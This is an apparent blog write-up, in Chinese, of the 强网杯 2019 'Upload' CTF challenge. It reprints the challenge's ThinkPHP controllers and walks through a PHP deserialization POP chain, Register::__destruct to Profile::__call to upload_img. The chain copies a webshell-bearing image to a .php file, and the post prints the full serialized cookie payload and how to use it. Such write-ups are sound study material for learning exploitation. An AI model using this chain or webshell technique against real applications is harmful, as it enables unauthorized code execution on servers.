[CTF]WriteUp第52篇

[强网杯 2019]Upload

思路

首页是注册登录

登录之后先要传一个图片

传完之后会加载头像

访问图片地址,发现upload是开了目录遍历的,可以方便看到文件

同时,dirsearch扫描到源码

[22:08:26] Starting:
[22:18:05] 200 -    1KB - /favicon.ico
[22:24:13] 200 -   24B  - /robots.txt
[22:27:47] 200 -   24MB - /www.tar.gz

解题

可以尝试二次注入和文件上传方面的测试,不过还是先看源码好
源码非常多,包括整个框架,就不一一看了,只看关键的

Index.php

<?php
namespace app\web\controller;
use think\Controller;

class Index extends Controller
{
    public $profile;
    public $profile_db;

    public function index()
    {
        if($this->login_check()){
            $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
            $this->redirect($curr_url,302);
            exit();
        }
        return $this->fetch("index");
    }

    public function home(){
        if(!$this->login_check()){
            $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
            $this->redirect($curr_url,302);
            exit();
        }

        if(!$this->check_upload_img()){
            $this->assign("username",$this->profile_db['username']);
            return $this->fetch("upload");
        }else{
            $this->assign("img",$this->profile_db['img']);
            $this->assign("username",$this->profile_db['username']);
            return $this->fetch("home");
        }
    }

    public function login_check(){
        $profile=cookie('user');
        if(!empty($profile)){
            $this->profile=unserialize(base64_decode($profile));
            $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
            if(array_diff($this->profile_db,$this->profile)==null){
                return 1;
            }else{
                return 0;
            }
        }
    }

    public function check_upload_img(){
        if(!empty($this->profile) && !empty($this->profile_db)){
            if(empty($this->profile_db['img'])){
                return 0;
            }else{
                return 1;
            }
        }
    }

    public function logout(){
        cookie("user",null);
        $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
        $this->redirect($curr_url,302);
        exit();
    }

    public function __get($name)
    {
        return "";
    }

}

Login.php

<?php
namespace app\web\controller;
use think\Controller;

class Login extends Controller
{
    public $checker;

    public function __construct()
    {
        $this->checker=new Index();
    }

    public function login(){
        if($this->checker){
            if($this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
                $this->redirect($curr_url,302);
                exit();
            }
        }
        if(input("?post.email") && input("?post.password")){
            $email=input("post.email","","addslashes");
            $password=input("post.password","","addslashes");
            $user_info=db("user")->where("email",$email)->find();
            if($user_info) {
                if (md5($password) === $user_info['password']) {
                    $cookie_data=base64_encode(serialize($user_info));
                    cookie("user",$cookie_data,3600);
                    $this->success('Login successful!', url('../home'));
                } else {
                    $this->error('Login failed!', url('../index'));
                }
            }else{
                $this->error('email not registed!',url('../index'));
            }
        }else{
            $this->error('email or password is null!',url('../index'));
        }
    }


}

Profile.php

<?php
namespace app\web\controller;

use think\Controller;

class Profile extends Controller
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;

    public function __construct()
    {
        $this->checker=new Index();
        $this->upload_menu=md5($_SERVER['REMOTE_ADDR']);
        @chdir("../public/upload");
        if(!is_dir($this->upload_menu)){
            @mkdir($this->upload_menu);
        }
        @chdir($this->upload_menu);
    }

    public function upload_img(){
        if($this->checker){
            if(!$this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }

        if(!empty($_FILES)){
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        }
        if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }

    public function update_img(){
        $user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();
        if(empty($user_info['img']) && $this->img){
            if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){
                $this->update_cookie();
                $this->success('Upload img successful!', url('../home'));
            }else{
                $this->error('Upload file failed!', url('../index'));
            }
        }
    }

    public function update_cookie(){
        $this->checker->profile['img']=$this->img;
        cookie("user",base64_encode(serialize($this->checker->profile)),3600);
    }

    public function ext_check(){
        $ext_arr=explode(".",$this->filename);
        $this->ext=end($ext_arr);
        if($this->ext=="png"){
            return 1;
        }else{
            return 0;
        }
    }

    public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

}

Register.php

<?php
namespace app\web\controller;
use think\Controller;

class Register extends Controller
{
    public $checker;
    public $registed;

    public function __construct()
    {
        $this->checker=new Index();
    }

    public function register()
    {
        if ($this->checker) {
            if($this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
                $this->redirect($curr_url,302);
                exit();
            }
        }
        if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) {
            $email = input("post.email", "", "addslashes");
            $password = input("post.password", "", "addslashes");
            $username = input("post.username", "", "addslashes");
            if($this->check_email($email)) {
                if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) {
                    $user_info = ["email" => $email, "password" => md5($password), "username" => $username];
                    if (db("user")->insert($user_info)) {
                        $this->registed = 1;
                        $this->success('Registed successful!', url('../index'));
                    } else {
                        $this->error('Registed failed!', url('../index'));
                    }
                } else {
                    $this->error('Account already exists!', url('../index'));
                }
            }else{
                $this->error('Email illegal!', url('../index'));
            }
        } else {
            $this->error('Something empty!', url('../index'));
        }
    }

    public function check_email($email){
        $pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/";
        preg_match($pattern, $email, $matches);
        if(empty($matches)){
            return 0;
        }else{
            return 1;
        }
    }

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }


}

Profile.php中可以发现,对上传的图片有后缀名强制限制

public function upload_img(){
    if($this->checker){
        if(!$this->checker->login_check()){
            $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
            $this->redirect($curr_url,302);
            exit();
        }
    }

    if(!empty($_FILES)){
        $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
        $this->filename=md5($_FILES['upload_file']['name']).".png";  // here!!
        $this->ext_check();
    }
    if($this->ext) {
        if(getimagesize($this->filename_tmp)) {
            @copy($this->filename_tmp, $this->filename);
            @unlink($this->filename_tmp);
            $this->img="../upload/$this->upload_menu/$this->filename";
            $this->update_img();
        }else{
            $this->error('Forbidden type!', url('../index'));
        }
    }else{
        $this->error('Unknow file type!', url('../index'));
    }
}

同时,在Index.php中可以看到有反序列化

public function login_check(){
    $profile=cookie('user');
    if(!empty($profile)){
        $this->profile=unserialize(base64_decode($profile));  // here!!
        $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
        if(array_diff($this->profile_db,$this->profile)==null){
            return 1;
        }else{
            return 0;
        }
    }
}

那么我们可以考虑反序列化,看看能不能直接输出flag,或者链接反弹shell
因为对图片内容没有waf,也可以通过修改图片后缀为php的方式来链接马

构造POP

在class Register发现__destruct()触发点

public function __destruct()
{
    if(!$this->registed){
        $this->checker->index();
    }
}

那么这就是POP的第一层

<?php

namespace app\web\controller;
class Register
{
    public $checker;
    public $registed;
}

// POP链的起始:__destruct
$a = new Register();

$a->registed = false;

echo base64_encode(serialize($a));

namespace相当于给类加了一个前缀,是必要的
接下来我们找合适的index()利用点
发现有两处,一处是class Index中的

public function index()
{
    if($this->login_check()){
        $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
        $this->redirect($curr_url,302);
        exit();
    }
    return $this->fetch("index");
}

明显不能用,另一处是class Profile的

public function __get($name)
{
    return $this->except[$name];
}

public function __call($name, $arguments)
{
    if($this->{$name}){
        $this->{$this->{$name}}($arguments);
    }
}

这里就有说法了,__call是在调用类的不存在方法时调用的,__get是在访问类的不存在属性时调用的
让$name为index来接受index()的触发,会在$this->except[“index”]中找
我们让$this->except[“index”]指向某个函数即可调用

发现在class Profile中,存在某种方式可以修改上传的文件的文件名
故而我们可以让$this->except[“index”]为upload_img

public function upload_img(){
    if($this->checker){
        if(!$this->checker->login_check()){
            $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
            $this->redirect($curr_url,302);
            exit();
        }
    }

    if(!empty($_FILES)){
        $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
        $this->filename=md5($_FILES['upload_file']['name']).".png";
        $this->ext_check();
    }
    if($this->ext) {
        if(getimagesize($this->filename_tmp)) {
            @copy($this->filename_tmp, $this->filename);
            @unlink($this->filename_tmp);
            $this->img="../upload/$this->upload_menu/$this->filename";
            $this->update_img();
        }else{
            $this->error('Forbidden type!', url('../index'));
        }
    }else{
        $this->error('Unknow file type!', url('../index'));
    }
}

关键是这里:@copy($this->filename_tmp, $this->filename);
那么我们想办法控制filename并让函数顺利执行

  1. $this->checker = false绕过第一个if
  2. 发送反序列化的这个请求不上传文件,绕过第二个if
  3. $this->ext = true绕过第三个if

之后让$this->filename_tmp指向我们上传的内容含有一句话马的图片,让$this->filename为新的文件名,那么得到POP链:

<?php

namespace app\web\controller;
class Register
{
    public $checker;
    public $registed;
}

class Profile
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;
}

// POP链的起始:__destruct
$a = new Register();
// index()两个触发点:
// class Index 和 class Profile 前者显然没法用
$b = new Profile();

$b->except = array("index" => "upload_img");
$b->checker = false;
$b->ext = true;
$b->filename_tmp = "upload/5173479d110270cbda8c319a77602593/9c7ffc57dba707c3a76553c777614627.png";  // 内含一句话马的图片
$b->filename = "upload/lingye.php";

$a->checker = $b;
$a->registed = false;


echo base64_encode(serialize($a));

得到:

TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo3OntzOjc6ImNoZWNrZXIiO2I6MDtzOjEyOiJmaWxlbmFtZV90bXAiO3M6NzY6InVwbG9hZC81MTczNDc5ZDExMDI3MGNiZGE4YzMxOWE3NzYwMjU5My85YzdmZmM1N2RiYTcwN2MzYTc2NTUzYzc3NzYxNDYyNy5wbmciO3M6ODoiZmlsZW5hbWUiO3M6MTc6InVwbG9hZC9saW5neWUucGhwIjtzOjExOiJ1cGxvYWRfbWVudSI7TjtzOjM6ImV4dCI7YjoxO3M6MzoiaW1nIjtOO3M6NjoiZXhjZXB0IjthOjE6e3M6NToiaW5kZXgiO3M6MTA6InVwbG9hZF9pbWciO319czo4OiJyZWdpc3RlZCI7YjowO30=

即(可以看到app\web\controller的前缀即为namespace的作用)

O:27:"app\web\controller\Register":2:{s:7:"checker";O:26:"app\web\controller\Profile":7:{s:7:"checker";b:0;s:12:"filename_tmp";s:76:"upload/5173479d110270cbda8c319a77602593/9c7ffc57dba707c3a76553c777614627.png";s:8:"filename";s:17:"upload/lingye.php";s:11:"upload_menu";N;s:3:"ext";b:1;s:3:"img";N;s:6:"except";a:1:{s:5:"index";s:10:"upload_img";}}s:8:"registed";b:0;}

我们把这段base64编码后的反序列化复制到cookie,在任意php页面刷新(所有的php页面都有对登陆状态的检测,即class Login中的login(),反序列化的利用点)

然后访问我们改好的文件路径

蚁剑链接即可,flag/

注意

反序列化的构造
namespace是什么,命名空间

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇